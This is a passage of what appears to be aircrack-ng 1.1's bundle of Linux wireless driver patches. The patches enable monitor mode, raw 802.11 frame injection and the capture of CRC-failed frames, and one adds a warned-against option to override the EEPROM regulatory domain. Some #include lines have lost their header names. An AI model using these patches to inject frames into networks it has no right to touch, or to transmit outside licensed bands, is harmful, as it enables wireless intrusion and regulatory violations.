-2597,6 +2595,19 @@ void rtl8180_irq_rx_tasklet(struct r8180 ---------------------------- USB_STUFF--------------------------- *****************************************************************************/ +#ifdef HAVE_NET_DEVICE_OPS +static const struct net_device_ops rtl8180_netdev_ops = { + .ndo_open = rtl8180_open, + .ndo_stop = rtl8180_close, + .ndo_get_stats = rtl8180_stats, + .ndo_tx_timeout = tx_timeout, + .ndo_do_ioctl = rtl8180_ioctl, + .ndo_set_multicast_list = r8180_set_multicast, + .ndo_set_mac_address = r8180_set_mac_adr, + .ndo_start_xmit = ieee80211_xmit_rtl7, +// .ndo_start_xmit = ieee80211_xmit, +}; +#endif static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id) @@ -2622,14 +2633,20 @@ static int __devinit rtl8187_usb_probe(s priv->udev=udev; +#ifdef HAVE_NET_DEVICE_OPS + dev->netdev_ops = &rtl8180_netdev_ops; +#else dev->open = rtl8180_open; dev->stop = rtl8180_close; + dev->get_stats = rtl8180_stats; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; dev->tx_timeout = tx_timeout; dev->wireless_handlers = &r8180_wx_handlers_def; dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#endif + #if WIRELESS_EXT >= 12 #if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; diff -udpr rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2010-01-31 11:32:06.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_module.c 2010-01-31 09:25:48.000000000 -0500 @@ -117,8 +117,12 @@ struct net_device *alloc_ieee80211_rtl7( IEEE80211_ERROR("Unable to network device.\n"); goto failed; } + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit_rtl7; +#else + ieee = (struct ieee80211_device *)dev->priv; +#endif ieee->dev = dev; diff -udpr rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2010-01-31 11:28:19.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_rx.c 2010-01-31 11:49:16.000000000 -0500 @@ -104,7 +104,12 @@ static inline void ieee80211_monitor_rx_ hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ hdr->f.status = s; hdr->f.len = l; hdr->f.data = d LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); - LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + + hdr->mactime.did = LWNG_CAP_DID_BASE | (2 << 12); + hdr->mactime.status = 0; + hdr->mactime.len = 4; + hdr->mactime.data = rx_stats->mac_time[0]; + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); diff -udpr rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2010-01-31 11:32:06.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_tx.c 2010-01-31 11:17:55.000000000 -0500 @@ -511,3 +511,4 @@ int ieee80211_xmit_rtl7(struct sk_buff * } EXPORT_SYMBOL(ieee80211_txb_free_rtl7); +EXPORT_SYMBOL(ieee80211_xmit_rtl7); aircrack-ng-1.1/patches/ieee80211_softmac_adjust_bitrate.patch0000644000000000000000000000372010761053203023004 0ustar rootrootdiff -Naur linux-2.6.21.1_orig/net/ieee80211/softmac/ieee80211softmac_module.c linux-2.6.21.1_rawtx/net/ieee80211/softmac/ieee80211softmac_module.c --- linux-2.6.21.1_orig/net/ieee80211/softmac/ieee80211softmac_module.c 2007-04-27 23:49:26.000000000 +0200 +++ linux-2.6.21.1_rawtx/net/ieee80211/softmac/ieee80211softmac_module.c 2007-12-03 23:38:51.000000000 +0100 @@ -238,18 +238,34 @@ struct ieee80211softmac_txrates *txrates = &mac->txrates; u32 change = 0; - change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT; - txrates->default_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 0); + if (mac->ieee->iw_mode == IW_MODE_MONITOR) + { + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT; + txrates->default_rate = mac->txrates.user_rate; - change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT_FBACK; - txrates->default_fallback = lower_rate(mac, txrates->default_rate); + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT_FBACK; + txrates->default_fallback = mac->txrates.user_rate; - change |= IEEE80211SOFTMAC_TXRATECHG_MCAST; - txrates->mcast_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 1); + change |= IEEE80211SOFTMAC_TXRATECHG_MCAST; + txrates->mcast_rate = mac->txrates.user_rate; - if (mac->txrates_change) - mac->txrates_change(mac->dev, change); + if (mac->txrates_change) + mac->txrates_change(mac->dev, change); + } + else + { + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT; + txrates->default_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 0); + + change |= IEEE80211SOFTMAC_TXRATECHG_DEFAULT_FBACK; + txrates->default_fallback = lower_rate(mac, txrates->default_rate); + change |= IEEE80211SOFTMAC_TXRATECHG_MCAST; + txrates->mcast_rate = ieee80211softmac_highest_supported_rate(mac, &mac->bssinfo.supported_rates, 1); + + if (mac->txrates_change) + mac->txrates_change(mac->dev, change); + } } void ieee80211softmac_init_bss(struct ieee80211softmac_device *mac) aircrack-ng-1.1/patches/acx-20070101.patch0000644000000000000000000000264410761053203016350 0ustar rootrootdiff -Naur acx_orig/common.c acx_rawtx/common.c --- acx_orig/common.c 2007-01-10 22:15:27.000000000 +0100 +++ acx_rawtx/common.c 2007-05-20 12:58:55.000000000 +0200 @@ -3180,6 +3180,14 @@ goto end; } + if(unlikely(skb->len < 24)) { + /* silently drop the packet, since fw won't send it */ + txresult = OK; + /* ...but indicate an error nevertheless */ + adev->stats.tx_errors++; + goto end; + } + tx = acx_l_alloc_tx(adev); if (unlikely(!tx)) { printk_ratelimited("%s: start_xmit: txdesc ring is full, " diff -Naur acx_orig/pci.c acx_rawtx/pci.c --- acx_orig/pci.c 2007-01-10 13:27:16.000000000 +0100 +++ acx_rawtx/pci.c 2007-05-20 12:58:55.000000000 +0200 @@ -1992,7 +1992,12 @@ acx_set_status(adev, ACX_STATUS_1_SCANNING); break; case ACX_MODE_3_AP: case ACX_MODE_MONITOR: - acx_set_status(adev, ACX_STATUS_4_ASSOCIATED); break; + acx_set_status(adev, ACX_STATUS_4_ASSOCIATED); + adev->msdu_lifetime = 0;/* no lifetime at all */ + adev->short_retry = 0; /* no retries for (short) non-RTS packets */ + adev->long_retry = 0; /* no retries for long (RTS) packets */ + + break; } acx_s_start(adev); @@ -3387,12 +3392,14 @@ break; } adev->stats.tx_errors++; +#if 0 if (adev->stats.tx_errors <= 20) printk("%s: tx error 0x%02X, buf %02u! (%s)\n", adev->ndev->name, error, finger, err); else printk("%s: tx error 0x%02X, buf %02u!\n", adev->ndev->name, error, finger); +#endif } aircrack-ng-1.1/patches/ath9k_regdomain_override.patch0000644000000000000000000000276011324503527021655 0ustar rootrootPaulFertser> Get _your_ country code from regd.h, add 32768 and supply as a parameter. fercerpav@gmail.com --- linux-2.6.32-gentoo-r1-orig/drivers/net/wireless/ath/ath9k/main.c 2009-12-03 06:51:21.000000000 +0300 +++ linux-2.6.32-gentoo-r1/drivers/net/wireless/ath/ath9k/main.c 2010-01-16 02:04:00.000000000 +0300 @@ -28,6 +28,11 @@ module_param_named(nohwcrypt, modparam_nohwcrypt, int, 0444); MODULE_PARM_DESC(nohwcrypt, "Disable hardware encryption"); +static int modparam_override_eeprom_regdomain = -1; +module_param_named(override_eeprom_regdomain, + modparam_override_eeprom_regdomain, int, S_IRUGO); +MODULE_PARM_DESC(override_eeprom_regdomain, "Override regdomain hardcoded in EEPROM with this value (DANGEROUS)."); + /* We use the hw_value as an index into our private channel structure */ #define CHAN2G(_freq, _idx) { \ @@ -1588,6 +1593,14 @@ if (error != 0) return error; + if (modparam_override_eeprom_regdomain != -1) { + printk(KERN_ERR "ath9k: DANGER! You're overriding EEPROM-defined regulatory domain.\n"); + printk(KERN_ERR "ath9k: Your card was not certified to operate on the domain you choosed.\n"); + printk(KERN_ERR "ath9k: This might result in a violation of your local regulatory rules.\n"); + printk(KERN_ERR "ath9k: Do not ever do that unless you really know what you do!\n"); + sc->common.regulatory.current_rd = modparam_override_eeprom_regdomain; + } + /* get mac address from hardware and set in mac80211 */ SET_IEEE80211_PERM_ADDR(hw, sc->sc_ah->macaddr); aircrack-ng-1.1/patches/mac80211_2.6.26_frag.patch0000644000000000000000000000072511041670244017653 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index f35eaea..e5e8483 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -292,6 +292,9 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) { struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; + if (unlikely(tx->flags & IEEE80211_TX_INJECTED)) + return TX_CONTINUE; + if (ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_control)) >= 24) ieee80211_include_sequence(tx->sdata, hdr); aircrack-ng-1.1/patches/ath5k-pass-failed-crc.patch0000644000000000000000000000107011143173567020657 0ustar rootrootdiff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c --- linux-2.6.28/drivers/net/wireless/ath5k/base.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c 2009-02-06 21:38:43.000000000 -0500 @@ -1732,6 +1738,11 @@ goto accept; } + /* Allow CRC errors through */ + if (rs.rs_status & AR5K_RXERR_CRC) { + goto accept; + } + /* let crypto-error packets fall through in MNTR */ if ((rs.rs_status & ~(AR5K_RXERR_DECRYPT|AR5K_RXERR_MIC)) || aircrack-ng-1.1/patches/rtl8180-0.21v2.patch0000644000000000000000000002354110761053203016654 0ustar rootrootdiff -Naur rtl8180-0.21_orig/ieee80211_crypt.c rtl8180-0.21_patched/ieee80211_crypt.c --- rtl8180-0.21_orig/ieee80211_crypt.c 2004-11-27 20:33:23.000000000 +0100 +++ rtl8180-0.21_patched/ieee80211_crypt.c 2007-02-18 17:35:03.000000000 +0100 @@ -11,8 +11,10 @@ * */ #ifndef CONFIG_IEEE80211_NOWEP -#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif #include #include #include diff -Naur rtl8180-0.21_orig/ieee80211_crypt_wep.c rtl8180-0.21_patched/ieee80211_crypt_wep.c --- rtl8180-0.21_orig/ieee80211_crypt_wep.c 2005-04-12 14:25:42.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_crypt_wep.c 2007-02-18 17:35:03.000000000 +0100 @@ -9,8 +9,10 @@ * more details. */ #ifndef CONFIG_IEEE80211_NOWEP -#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif #include #include #include @@ -28,7 +30,11 @@ #endif #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) #include +#else +#include +#endif #include #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,5,47)) diff -Naur rtl8180-0.21_orig/ieee80211_module.c rtl8180-0.21_patched/ieee80211_module.c --- rtl8180-0.21_orig/ieee80211_module.c 2005-04-15 00:29:23.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_module.c 2007-02-18 17:35:03.000000000 +0100 @@ -37,8 +37,11 @@ *******************************************************************************/ #include +#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include @@ -53,7 +56,6 @@ #include #include #include -#include #include #include #include diff -Naur rtl8180-0.21_orig/ieee80211_rx.c rtl8180-0.21_patched/ieee80211_rx.c --- rtl8180-0.21_orig/ieee80211_rx.c 2005-04-12 14:13:18.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_rx.c 2007-02-18 17:35:03.000000000 +0100 @@ -16,8 +16,11 @@ * more details. */ +#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include @@ -32,7 +35,6 @@ #include #include #include -#include #include #include #include diff -Naur rtl8180-0.21_orig/ieee80211_tx.c rtl8180-0.21_patched/ieee80211_tx.c --- rtl8180-0.21_orig/ieee80211_tx.c 2005-04-12 23:02:17.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_tx.c 2007-02-18 17:35:03.000000000 +0100 @@ -31,7 +31,10 @@ ******************************************************************************/ #include +#include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include @@ -46,7 +49,6 @@ #include #include #include -#include #include #include #include @@ -577,6 +579,14 @@ spin_lock_irqsave(&ieee->lock,flags); + if (ieee->iw_mode == IW_MODE_MONITOR) { + ieee->func->hard_data_xmit(ieee->dev,skb,0); + dev_kfree_skb_any(skb); + ieee->stats.tx_packets++; + ieee->dev->trans_start = jiffies; + goto exit; + } + if(ieee->queue_stop){ IEEE80211DMESG("EE: IEEE hard_start_xmit invoked when kernel queue should be stopped"); netif_stop_queue(ieee->dev); diff -Naur rtl8180-0.21_orig/ieee80211_wx.c rtl8180-0.21_patched/ieee80211_wx.c --- rtl8180-0.21_orig/ieee80211_wx.c 2005-04-10 19:54:20.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_wx.c 2007-02-18 17:35:03.000000000 +0100 @@ -34,6 +34,9 @@ ******************************************************************************/ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,0) #include /* request_module */ #include diff -Naur rtl8180-0.21_orig/Makefile rtl8180-0.21_patched/Makefile --- rtl8180-0.21_orig/Makefile 2005-02-27 19:48:47.000000000 +0100 +++ rtl8180-0.21_patched/Makefile 2007-02-18 17:34:21.000000000 +0100 @@ -59,7 +59,7 @@ make -C $(KSRC) SUBDIRS=$(PWD) modules 2.6: - $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) MODVERDIR=$(PWD) modules + $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) modules clean: rm -f *.mod.c *.mod *.o .*.cmd *.ko .*.flags diff -Naur rtl8180-0.21_orig/Makefile26 rtl8180-0.21_patched/Makefile26 --- rtl8180-0.21_orig/Makefile26 2005-02-27 19:48:48.000000000 +0100 +++ rtl8180-0.21_patched/Makefile26 2007-02-18 17:34:21.000000000 +0100 @@ -26,7 +26,7 @@ rm -f *.mod.c *.mod *.o .*.cmd *.ko rm -rf $(PWD)/tmp modules: - $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) MODVERDIR=$(PWD) modules + $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) modules MODDESTDIR := /lib/modules/$(KVER)/kernel/drivers/net/wireless MOD_ALGDESTDIR := /lib/modules/$(KVER)/kernel/drivers/net/wireless/alg diff -Naur rtl8180-0.21_orig/r8180_core.c rtl8180-0.21_patched/r8180_core.c --- rtl8180-0.21_orig/r8180_core.c 2005-04-12 14:39:56.000000000 +0200 +++ rtl8180-0.21_patched/r8180_core.c 2007-02-18 17:35:03.000000000 +0100 @@ -121,6 +121,7 @@ MODULE_AUTHOR("Andrea Merello "); MODULE_DESCRIPTION("Linux driver for Realtek RTL8180 WiFi cards"); +#if 0 MODULE_PARM(ifname,"s"); MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); @@ -132,7 +133,7 @@ MODULE_PARM(channels,"i"); MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - +#endif static int __devinit rtl8180_pci_probe(struct pci_dev *pdev, const struct pci_device_id *id); @@ -452,13 +453,14 @@ } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { struct r8180_priv *priv = dev->priv; return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -2204,11 +2206,12 @@ void rtl8180_hard_data_xmit(struct net_device *dev,struct sk_buff *skb,short morefrag) { struct r8180_priv *priv = (struct r8180_priv *)dev->priv; - int mode; + int mode, priority = LOW_PRIORITY; //unsigned long flags; mode = priv->ieee80211->iw_mode; - + if( mode == IW_MODE_MONITOR ) + priority = HI_PRIORITY; /* * This function doesn't require lock because we make @@ -2220,13 +2223,13 @@ //spin_lock_irqsave(&priv->tx_lock,flags); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + if (!check_nic_enought_desc(dev, priority)){ DMESG("Error: no descriptor left by previous TX (avail %d) ", - get_curr_tx_free_desc(dev, LOW_PRIORITY)); + get_curr_tx_free_desc(dev, priority)); ieee80211_r8180_stop_queue(priv->ieee80211); } - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag,0); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + rtl8180_tx(dev, (u32*)skb->data, skb->len, priority, morefrag,0); + if (!check_nic_enought_desc(dev, priority)) ieee80211_r8180_stop_queue(priv->ieee80211); //spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -2634,7 +2637,11 @@ spin_lock_init(&priv->tx_lock); sema_init(&priv->wx_sem,1); priv->workqueue = create_workqueue(DRV_NAME); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->IBSS_work,(void(*)(void*)) rtl8180_IBSS_create_wq,dev); +#else + INIT_WORK(&priv->IBSS_work,(void(*)(void*)) rtl8180_IBSS_create_wq); +#endif tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long)) rtl8180_irq_rx_tasklet, @@ -3411,10 +3418,18 @@ if (priv->ieee80211->iw_mode == IW_MODE_ADHOC) rtl8180_IBSS_create(dev); -/* if (priv->ieee80211->iw_mode == IW_MODE_MONITOR){ + if (priv->ieee80211->iw_mode == IW_MODE_MONITOR) { + priv->retry_rts = 0; + priv->retry_data = 0; + rtl8180_tx_enable(dev); + netif_carrier_on(dev); + if(netif_queue_stopped(dev)) + netif_wake_queue(dev); + else + netif_start_queue(dev); } -*/ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) { // rtl8180_tx_enable(dev); @@ -3608,8 +3623,7 @@ pio_flags = (unsigned long)pci_resource_flags (pdev, 0); if (!(pio_flags & IORESOURCE_IO)) { - DMESG("%s: region #0 not a PIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #0 not a PIO resource, aborting"); goto fail; } @@ -3629,8 +3643,7 @@ pmem_flags = pci_resource_flags (pdev, 1); if (!(pmem_flags & IORESOURCE_MEM)) { - DMESG("%s: region #1 not a MMIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #1 not a MMIO resource, aborting"); goto fail; } @@ -3664,7 +3677,12 @@ dev->do_ioctl = do_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ diff -Naur rtl8180-0.21_orig/r8180.h rtl8180-0.21_patched/r8180.h --- rtl8180-0.21_orig/r8180.h 2005-04-11 18:36:26.000000000 +0200 +++ rtl8180-0.21_patched/r8180.h 2007-02-18 17:35:09.000000000 +0100 @@ -25,7 +25,10 @@ #include #include +#include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include aircrack-ng-1.1/patches/ipw2200-1.1.4-inject.patch0000644000000000000000000000552010761053203017715 0ustar rootrootdiff -ur ipw2200-1.1.4/ipw2200.c ipw2200-1.1.4-inject/ipw2200.c --- ipw2200-1.1.4/ipw2200.c 2006-08-21 04:38:32.000000000 +0200 +++ ipw2200-1.1.4-inject/ipw2200.c 2006-08-23 14:20:31.000000000 +0200 @@ -1945,6 +1945,66 @@ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO, show_net_stats, store_net_stats); +static int ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri); + +/* SYSFS INJECT */ +static ssize_t store_inject(struct device *d, +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12) + struct device_attribute *attr, +#endif + const char *buf, size_t count) +{ + struct ipw_priv *priv = (struct ipw_priv *)d->driver_data; + struct ieee80211_device *ieee = priv->ieee; + struct ieee80211_txb * txb; + struct sk_buff *skb_frag; + unsigned char * newbuf; + unsigned long flags; + + // should test (ieee->is_queue_full) + + // Fw only accepts data, so avoid accidental fw errors. + if ( (buf[0]&0x0c) != '\x08') { + //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]); + return count; + } + + if (count>1500) { + count=1500; + printk("ipw2200: inject: cutting down frame to 1500 bytes\n"); + } + + spin_lock_irqsave(&priv->lock, flags); + + // Create a txb with one skb + txb = kmalloc(sizeof(struct ieee80211_txb) + sizeof(u8 *), GFP_ATOMIC); + if (!txb) + goto nosepuede; + txb->nr_frags=1; + txb->frag_size = ieee->tx_headroom; + txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC); + if (!txb->fragments[0]) { + kfree(txb); + goto nosepuede; + } + skb_reserve(txb->fragments[0], ieee->tx_headroom); + txb->encrypted=0; + txb->payload_size=count; + skb_frag = txb->fragments[0]; + newbuf=skb_put(skb_frag, count); + + // copy data into txb->skb and send it + memcpy(newbuf, buf, count); + + ipw_tx_skb(priv, txb, 0); + +nosepuede: + spin_unlock_irqrestore(&priv->lock, flags); + return count; +} + +static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject); + static void notify_wx_assoc_event(struct ipw_priv *priv) { union iwreq_data wrqu; @@ -11478,6 +11538,7 @@ #ifdef CONFIG_IPW2200_PROMISCUOUS &dev_attr_rtap_iface.attr, &dev_attr_rtap_filter.attr, + &dev_attr_inject.attr, #endif NULL }; diff -ur ipw2200-1.1.4/Makefile ipw2200-1.1.4-inject/Makefile --- ipw2200-1.1.4/Makefile 2006-08-21 04:38:29.000000000 +0200 +++ ipw2200-1.1.4-inject/Makefile 2006-08-23 14:22:06.000000000 +0200 @@ -30,14 +30,14 @@ # simply uncomment: # # NOTE: To use RADIOTAP you must also enable MONITOR above. -#CONFIG_IPW2200_RADIOTAP=y +CONFIG_IPW2200_RADIOTAP=y # The above monitor mode provides standard monitor mode. The following # will create a new interface (named rtap%d) which will be sent all # 802.11 frames received on the interface # # NOTE: To use PROMISCUOUS you must also enable MONITOR above. -#CONFIG_IPW2200_PROMISCUOUS=y +CONFIG_IPW2200_PROMISCUOUS=y endif aircrack-ng-1.1/patches/ieee80211_inject-2.6.22.patch0000644000000000000000000000140410761053203020262 0ustar rootroot--- linux-2.6.23_orig/net/ieee80211/ieee80211_tx.c 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23/net/ieee80211/ieee80211_tx.c 2007-10-14 19:39:49.000000000 +0200 @@ -293,6 +293,23 @@ ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); + if(ieee->iw_mode == IW_MODE_MONITOR) + { + txb = ieee80211_alloc_txb(1, skb->len, + ieee->tx_headroom, GFP_ATOMIC); + if (unlikely(!txb)) { + printk(KERN_WARNING "%s: Could not allocate TXB\n", + ieee->dev->name); + goto failed; + } + + txb->encrypted = 0; + txb->payload_size = skb->len; + skb_copy_from_linear_data(skb, skb_put(txb->fragments[0],skb->len), skb->len); + + goto success; + } + crypt = ieee->crypt[ieee->tx_keyidx]; encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && aircrack-ng-1.1/patches/mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch0000644000000000000000000000105711175401024024224 0ustar rootroot tx.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index b47435d..751934b 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -539,7 +539,8 @@ ieee80211_tx_h_rate_ctrl(struct ieee80211_tx_data *tx) if (tx->sta) tx->sta->last_tx_rate = txrc.reported_rate; - if (unlikely(!info->control.rates[0].count)) + if (unlikely(!info->control.rates[0].count) || + info->flags & IEEE80211_TX_CTL_NO_ACK) info->control.rates[0].count = 1; if (is_multicast_ether_addr(hdr->addr1)) { aircrack-ng-1.1/patches/rtl8187_hw_signal_backport_2.6.28.patch0000644000000000000000000000715111145116401022566 0ustar rootrootFrom: Larry Finger Date: Thu, 4 Dec 2008 04:21:20 +0000 (-0600) Subject: rtl8187: Improve wireless statistics for RTL8187 X-Git-Tag: master-2009-01-05~191 X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Flinville%2Fwireless-testing.git;a=commitdiff_plain;h=cd2865552927d616be4a0da7c24$ rtl8187: Improve wireless statistics for RTL8187 The current wireless statistics for the RTL8187 poorly indicate the signal strength and quality. With testing, I found that the AGC value is inversely correlated with the strength as in the RTL8187B. By implementing a similar calculation, much more code becomes common to the two devices. Signed-off-by: Larry Finger Tested by: Martín Ernesto Barreyro Acked-by: Hin-Tak Leung Signed-off-by: John W. Linville Crudely-backported-by: Zero_Chaos --- diff -Naur linux-2.6.28-orig/drivers/net/wireless/rtl8187_dev.c linux-2.6.28/drivers/net/wireless/rtl8187_dev.c --- linux-2.6.28-orig/drivers/net/wireless/rtl8187_dev.c 2009-02-09 16:52:51.000000000 -0500 +++ linux-2.6.28/drivers/net/wireless/rtl8187_dev.c 2009-02-09 17:22:50.000000000 -0500 @@ -303,29 +303,14 @@ struct rtl8187_rx_hdr *hdr = (typeof(hdr))(skb_tail_pointer(skb) - sizeof(*hdr)); flags = le32_to_cpu(hdr->flags); - signal = hdr->signal & 0x7f; + /* As with the RTL8187B below, the AGC is used to calculate + * signal strength and quality. In this case, the scaling + * constants are derived from the output of p54usb. + */ + quality = 130 - ((41 * hdr->agc) >> 6); + signal = -4 - ((27 * hdr->agc) >> 6); rx_status.antenna = (hdr->signal >> 7) & 1; - rx_status.noise = hdr->noise; rx_status.mactime = le64_to_cpu(hdr->mac_time); - priv->quality = signal; - rx_status.qual = priv->quality; - priv->noise = hdr->noise; - rate = (flags >> 20) & 0xF; - if (rate > 3) { /* OFDM rate */ - if (signal > 90) - signal = 90; - else if (signal < 25) - signal = 25; - signal = 90 - signal; - } else { /* CCK rate */ - if (signal > 95) - signal = 95; - else if (signal < 30) - signal = 30; - signal = 95 - signal; - } - rx_status.signal = signal; - priv->signal = signal; } else { struct rtl8187b_rx_hdr *hdr = (typeof(hdr))(skb_tail_pointer(skb) - sizeof(*hdr)); @@ -343,18 +328,18 @@ */ flags = le32_to_cpu(hdr->flags); quality = 170 - hdr->agc; - if (quality > 100) - quality = 100; signal = 14 - hdr->agc / 2; - rx_status.qual = quality; - priv->quality = quality; - rx_status.signal = signal; - priv->signal = signal; rx_status.antenna = (hdr->rssi >> 7) & 1; rx_status.mactime = le64_to_cpu(hdr->mac_time); - rate = (flags >> 20) & 0xF; } + if (quality > 100) + quality = 100; + rx_status.qual = quality; + priv->quality = quality; + rx_status.signal = signal; + priv->signal = signal; + rate = (flags >> 20) & 0xF; skb_trim(skb, flags & 0x0FFF); rx_status.rate_idx = rate; rx_status.freq = dev->conf.channel->center_freq; @@ -1065,6 +1050,7 @@ priv->mode = NL80211_IFTYPE_MONITOR; dev->flags = IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_RX_INCLUDES_FCS; eeprom.data = dev; @@ -1184,10 +1170,6 @@ printk(KERN_WARNING "rtl8187: 8187B chip detected. Support " "is EXPERIMENTAL, and could damage your\n" " hardware, use at your own risk\n"); - dev->flags |= IEEE80211_HW_SIGNAL_DBM; - } else { - dev->flags |= IEEE80211_HW_SIGNAL_UNSPEC; - dev->max_signal = 65; } dev->wiphy->interface_modes = BIT(NL80211_IFTYPE_STATION); aircrack-ng-1.1/patches/linux-wlanng-0.2.8.patch0000644000000000000000000003146010761053203017771 0ustar rootrootdiff -ur linux-wlan-ng-0.2.8/src/p80211/p80211netdev.c linux-wlan-ng-0.2.8-patched/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.8/src/p80211/p80211netdev.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/p80211/p80211netdev.c 2007-05-19 13:57:58.000000000 +0200 @@ -511,7 +511,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -523,7 +523,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ 